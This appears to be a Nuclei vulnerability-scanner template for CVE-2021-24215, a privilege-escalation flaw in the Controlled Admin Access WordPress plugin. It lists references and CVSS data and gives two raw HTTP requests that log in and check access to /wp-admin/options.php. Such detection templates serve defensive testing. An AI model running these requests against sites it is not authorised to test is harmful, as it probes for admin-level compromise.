id: CVE-2021-24215 info: name: Controlled Admin Access WordPress Plugin <= 1.4.0 - Improper Access Control & Privilege Escalation author: r3Y3r53 severity: critical description: | An Improper Access Control vulnerability was discovered in the plugin. Uncontrolled access to the website customization functionality and global CMS settings, like /wp-admin/customization.php and /wp-admin/options.php, can lead to a complete compromise of the target resource. remediation: Fixed in version 1.5.2 reference: - https://wpscan.com/vulnerability/eec0f29f-a985-4285-8eed-d1855d204a20 - https://nvd.nist.gov/vuln/detail/CVE-2021-24215 - https://www.opencve.io/cve/CVE-2021-24215 - https://m0ze.ru/vulnerability/[2021-03-18]-[WordPress]-[CWE-284]-Controlled-Admin-Access-WordPress-Plugin-v1.4.0.txt classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2021-24215 cwe-id: CWE-284,CWE-425 epss-score: 0.07303 epss-percentile: 0.93312 cpe: cpe:2.3:a:wpruby:controlled_admin_access:*:*:*:*:*:wordpress:*:* metadata: verified: true max-request: 2 vendor: wpruby product: controlled_admin_access framework: wordpress publicwww-query: /wp-content/plugins/controlled-admin-access/ tags: cve,cve2021,authenticated,wpscan,wordpress,wp-plugin,wp,controlled-admin-access http: - raw: - | POST /wp-login.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded log={{username}}&pwd={{password}}&wp-submit=Log+In - | GET /wp-admin/options.php HTTP/1.1 Host: {{Hostname}} cookie-reuse: true matchers: - type: dsl dsl: - 'status_code_2 == 200' - 'contains(content_type_2, "text/html")' - 'contains(body_2, "This page allows direct access to your site settings") && contains(body_2, "Controlled Admin Access")' condition: and # digest: 490a0046304402201009086bc401045d2c9d3c89f828694148c19792e224ac5ef468e2c3a047a17102205ed9e97f3ecd307f57d740914862232636b709e39dbaf1839968858dd02bc794:922c64590222798bb761d5b6d8e72950